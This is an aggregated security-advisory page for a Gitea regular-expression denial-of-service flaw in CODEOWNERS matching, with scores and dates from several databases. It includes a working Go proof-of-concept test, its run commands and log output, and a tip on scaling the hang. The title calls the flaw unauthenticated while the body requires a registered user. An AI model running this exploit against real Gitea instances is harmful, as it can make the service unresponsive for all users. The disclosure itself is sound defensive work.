Unauthenticated ReDoS via CODEOWNERS pattern matching allows denial of service

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Unauthenticated ReDoS via CODEOWNERS pattern matching allows denial of service

Source published

3 Jul 2026 20:54:51 UTC

Source modified

6 Jul 2026 15:12:29 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

Unauthenticated ReDoS via CODEOWNERS pattern matching allows denial of service

Source published

Jul 3, 2026, 8:54:51 PM (timezone not stated)

Source modified

Jul 6, 2026, 3:12:29 PM (timezone not stated)

Observed here

7 Nov 2026 13:23:54 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Unauthenticated ReDoS via CODEOWNERS pattern matching allows denial of service

Source published

3 Jul 2026 21:17:05 UTC

Source modified

25 Oct 2026 15:10:00 UTC

Observed here

27 Oct 2026 15:15:28 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 134c704f-9b21-4f2e-91b3-4a467353bcc0 · Secondary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

This issue has been found by a security agent and review by myself. Gitea's CODEOWNERS feature uses the regexp2 library to match file paths against ownership rules. User-supplied patterns are passed directly to regexp2.Compile with no sanitisation and no match timeout. This allows an attacker to write a pattern that causes the regex engine to backtrack exponentially when evaluated against a crafted file path. ### Who can trigger it Any registered user on the instance. The attacker needs only: 1. A repository they own (created via normal signup) 2. A `CODEOWNERS` file on the default branch containing malicious patterns 3. A pull request branch containing a file with a crafted name No elevated permissions, no admin access, no existing repositories required. ### How it is triggered The attacker pushes a CODEOWNERS file containing repeated instances of a catastrophic backtracking pattern (e.g. (a+)+ @attacker) and opens a pull request from a branch that contains a file named with a long string of repeated characters followed by a non-matching character (e.g. `aaaaaaaaaaaaaaaaaaaaaaaaaaX`). When Gitea processes the pull request, it evaluates each CODEOWNERS rule against each changed file path — with no timeout — causing the server to hang for the duration of the backtracking. ### Impact Every pull request creation runs this evaluation inside a database transaction. A hung evaluation holds that transaction open, tying up a database connection for the entire duration. With 11 rules in the CODEOWNERS file, a single pull request creation request takes over 30 seconds. An attacker opening multiple pull requests in parallel can exhaust the database connection pool, making the Gitea instance unresponsive to all users. ### Root cause The vulnerable regex is here: https://github.com/go-gitea/gitea/blob/79810ba2e37a5b5b7840a7737a877fc7f1ea7c38/models/issues/pull.go#L886 ### PoC Below is a PoC that demonstrates that 11 lines in a CODEOWNERS file and a well-named branch can trigger long processing times. This is tested at commit `689ace1ce28fd74244b8aa335d9928cdbf6b22f9`. `tests/integration/pull_redos_test.go` ```go package integration // TestCodeOwnersReDoS_NewPullRequest demonstrates the ReDoS vulnerability // triggered via the full pull.NewPullRequest call chain. // // POST /api/v1/repos/{owner}/{repo}/pulls // -> routers/api/v1/repo/pull.go:CreatePullRequest // -> pull.NewPullRequest (services/pull/pull.go) // -> db.WithTx <- holds DB connection for duration of hang // -> issues_model.NewPullRequest <- inserts PR into DB // -> PullRequestCodeOwnersReview <- evaluates CODEOWNERS // -> rule.Rule.MatchString(changedFile) <- hangs here (catastrophic backtracking) // // The attacker controls both sides of the match: // - CODEOWNERS pattern: "(a+)+" compiled as ^(a+)+$ with regexp2.None (no timeout) // - PR changed file: "aaa...X" forces O(2^N) backtracking states import ( "fmt" "net/http" "net/url" "strings" "testing" "time" auth_model "gitea.dev/models/auth" user_model "gitea.dev/models/user" "gitea.dev/models/unittest" "gitea.dev/modules/git" api "gitea.dev/modules/structs" repo_service "gitea.dev/services/repository" files_service "gitea.dev/services/repository/files" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" ) func TestCodeOwnersReDoS_NewPullRequest(t *testing.T) { onGiteaRun(t, func(t *testing.T, u *url.URL) { user2 := unittest.AssertExistsAndLoadBean(t, &user_model.User{ID: 2}) repo, err := repo_service.CreateRepositoryDirectly(t.Context(), user2, user2, repo_service.CreateRepoOptions{ Name: "redos-codeowners", Readme: "Default", AutoInit: true, ObjectFormatName: git.Sha1ObjectFormat.Name(), DefaultBranch: "main", }, true) require.NoError(t, err) // Push malicious CODEOWNERS to the default branch. // 11 identical rules × 1 changed file = 11 sequential MatchString calls. // Each call takes ~2.8s (25-char late-failing input), totalling ~30s. // ParseCodeOwnersLine wraps each token as ^(a+)+$ with regexp2.None (no timeout). var codeowners strings.Builder for range 11 { codeowners.WriteString("(a+)+ @user2\n") } _, err = files_service.ChangeRepoFiles(t.Context(), repo, user2, &files_service.ChangeRepoFilesOptions{ OldBranch: repo.DefaultBranch, Files: []*files_service.ChangeRepoFile{ { Operation: "create", TreePath: "CODEOWNERS", ContentReader: strings.NewReader(codeowners.String()), }, }, }) require.NoError(t, err) // Create a PR branch containing a file whose path is a late-failing input // for ^(a+)+$: 'a's that the engine greedily matches, then 'X' forces // backtracking through O(2^N) states (~2.8s per rule at 25 chars). maliciousFilename := strings.Repeat("a", 25) + "X" _, err = files_service.ChangeRepoFiles(t.Context(), repo, user2, &files_service.ChangeRepoFilesOptions{ NewBranch: "attack", Files: []*files_service.ChangeRepoFile{ { Operation: "create", TreePath: maliciousFilename, ContentReader: strings.NewReader("x"), }, }, }) require.NoError(t, err) // Obtain an API token for user2 and submit the PR creation request. // This calls pull.NewPullRequest which runs issues_model.NewPullRequest and // PullRequestCodeOwnersReview inside a single db.WithTx, tying up a DB // connection for the duration of the backtracking hang. session := loginUser(t, user2.Name) token := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopeWriteRepository) start := time.Now() req := NewRequestWithJSON(t, http.MethodPost, fmt.Sprintf("/api/v1/repos/%s/%s/pulls", user2.Name, repo.Name), &api.CreatePullRequestOption{ Title: "ReDoS PoC", Head: "attack", Base: repo.DefaultBranch, }, ).AddTokenAuth(token) MakeRequest(t, req, http.StatusCreated) elapsed := time.Since(start) t.Logf("pull.NewPullRequest completed in %s", elapsed) assert.Greater(t, elapsed, 25*time.Second, "expected ~30s ReDoS hang (11 rules × ~2.8s each); pattern may have been sanitised") }) } ``` Now run: ``` # 1. Build the binary (needed for git hooks during repo creation) make build # 2. Run the test go test -v -run '^TestCodeOwnersReDoS_NewPullRequest$' -count=1 -timeout 120s ./tests/integration/ ``` When the unit test starts, you should see that it takes 30 seconds with the following output: ``` === TestCodeOwnersReDoS_NewPullRequest (tests/integration/pull_redos_test.go:42) testlogger.go:62: 2026/06/02 14:34:43 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /tmp/gitea-3/tests/gitea-lfs-meta testlogger.go:62: 2026/06/02 14:34:43 HTTPRequest [I] router: completed POST /api/internal/hook/pre-receive/user2/redos-codeowners for 127.0.0.1:0, 200 OK in 4.5ms @ private/hook_pre_receive.go:109(private.HookPreReceive) testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /api/internal/hook/post-receive/user2/redos-codeowners for 127.0.0.1:0, 200 OK in 80.7ms @ private/hook_post_receive.go:33(private.HookPostReceive) testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /api/internal/hook/pre-receive/user2/redos-codeowners for 127.0.0.1:0, 200 OK in 3.5ms @ private/hook_pre_receive.go:109(private.HookPreReceive) testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /api/internal/hook/post-receive/user2/redos-codeowners for 127.0.0.1:0, 200 OK in 60.8ms @ private/hook_post_receive.go:33(private.HookPostReceive) testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /user/login for test-mock:12345, 303 See Other in 3.1ms @ auth/auth.go:284(auth.SignInPost) testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /user/settings/applications for test-mock:12345, 303 See Other in 6.1ms @ setting/applications.go:36(setting.ApplicationsPost) testlogger.go:62: 2026/06/02 14:34:47 HTTPRequest [W] router: slow POST /api/v1/repos/user2/redos-codeowners/pulls for test-mock:12345, elapsed 3182.4ms @ repo/pull.go:371(repo.CreatePullRequest) testlogger.go:62: 2026/06/02 14:35:16 HTTPRequest [I] router: completed POST /api/v1/repos/user2/redos-codeowners/pulls for test-mock:12345, 201 Created in 31631.6ms @ repo/pull.go:371(repo.CreatePullRequest) pull_redos_test.go:109: pull.NewPullRequest completed in 31.63184107s +++ TestCodeOwnersReDoS_NewPullRequest is a slow test (run: 33.342443947s, flush: 371.714µs) --- PASS: TestCodeOwnersReDoS_NewPullRequest (33.34s) PASS ``` You can modify the "11" number in the CODEOWNERS file to manage execution speed directly: ```go for range 11 { codeowners.WriteString("(a+)+ @user2\n") } ``` A higher number of lines will increase the execution time.

Source published

21 Jul 2026 20:34:33 UTC

Source modified

27 Jul 2026 17:11:20 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Publisher rating · HIGH

Gitea: Unauthenticated ReDoS via CODEOWNERS pattern matching allows denial of service in code.gitea.io/gitea

Source published

27 Jul 2026 15:32:45 UTC

Source modified

27 Jul 2026 17:00:26 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.